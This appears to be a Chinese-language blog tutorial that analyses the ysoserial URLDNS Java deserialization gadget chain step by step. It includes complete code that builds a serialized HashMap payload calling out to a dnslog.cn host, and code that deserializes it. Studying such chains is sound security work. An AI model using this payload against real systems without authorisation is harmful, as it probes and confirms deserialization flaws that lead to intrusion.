readObject()方法

Java反序列化会调用对应的readobject方法
比如我创建一个类test。序列化test类就会调用writeobject方法,
反序列化就会调用test类的readobject方法。默认是存在的。可以重写readobject方法
在HashMap类中,恰恰存在readobject方法

利用链:

ysoserial项目的利用链
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 其实可以细分一下:
 HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

分析:

首先找到HashMap的readObject()方法

在断点处 puVal方法调用hash()方法

Java 怎么把一个url将域名和剩余部分分开 java urldns_intellij-idea


跟进hash方法:

Java 怎么把一个url将域名和剩余部分分开 java urldns_maven_02


这里有个三元判断,当传入的参数(这里的key就是HashMap对象的键)不为空的时候,就会调用key下的hashCode()方法

跟进看一下

Java 怎么把一个url将域名和剩余部分分开 java urldns_反序列化_03


当反序列化的时候,调用了hashCode()方法,hashCode是一个Object方法,那么我们可以找一个重写了hashCode方法的类,然后实例化这个对象,放在HashMap的键里,序列化这个HashMap对象,当反序列化时,就会调用这个对象的hashcode

但是前提是这个类的hashCode方法可以实现我们想要的功能。例如java.net.URL类。

那么下面我们来分析一下java.net.URL类的hashCode方法。

可以看到,这里有一个IF判断,而hashCode属性默认是-1。这段代码的意思就是,当第一次调用hashCode方法的时候,hashCode为-1,不会进入if判断。否则就会进入if判断了,直接返回hashCode属性。

Java 怎么把一个url将域名和剩余部分分开 java urldns_java_04


Java 怎么把一个url将域名和剩余部分分开 java urldns_java_05

到了这里我们跟进一下handler.hashCode方法,传了this参进去,这个this其实就是HashMap的键,handler其实是一个UrLStreamHandler类对象

Java 怎么把一个url将域名和剩余部分分开 java urldns_反序列化_06


进入URLStreamHandler类的hashCode()方法

Java 怎么把一个url将域名和剩余部分分开 java urldns_序列化_07

getProtocol获取协议,getHostAddress,获取域名对应的ip地址

进入getHostAddress()方法里,主要是getByName方法

Java 怎么把一个url将域名和剩余部分分开 java urldns_intellij-idea_08


重点在getByName方法。这个方法会发送请求解析域名为IP。通过这种方法最终实现了DNSlog

Java 怎么把一个url将域名和剩余部分分开 java urldns_反序列化_09


Java 怎么把一个url将域名和剩余部分分开 java urldns_intellij-idea_10


该方法会使用远程请求,进行获取主机的ip,那么这时候就会触发一次请求,到了这里我们的dnslog平台,就可以收到响应了。这就是这个URLDNS链的一个触发点

序列化代码

package com.company;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class UrlDns {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://g5w6xs.dnslog.cn");
        //获取URL类的hashCode属性
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        // 修改访问权限,必须使用setAccessible方法设置为True才能修改private属性
        f.setAccessible(true);
        // 设置hashCode值为123,这里可以是任何不为-1的数字。先这样设置是因为HashMap的put方法也会调用hash(key)方法,
        // 如果不这样的话,会在序列化的时候调用put方法然后调用hash(key),然后直接进行了dnslog。
        f.set(url,123);
        System.out.println(url.hashCode());
        //往HashMap中添加Key为URL对象
        map.put(url,"123");
        // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
        f.set(url,-1);

        try{
            // 序列化对象
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

反序列化代码

package com.company;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UrlDnsSer {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 反序列化对象
        FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
        ObjectInputStream ois = new ObjectInputStream(fileInputStream);

        ois.readObject();
    }
}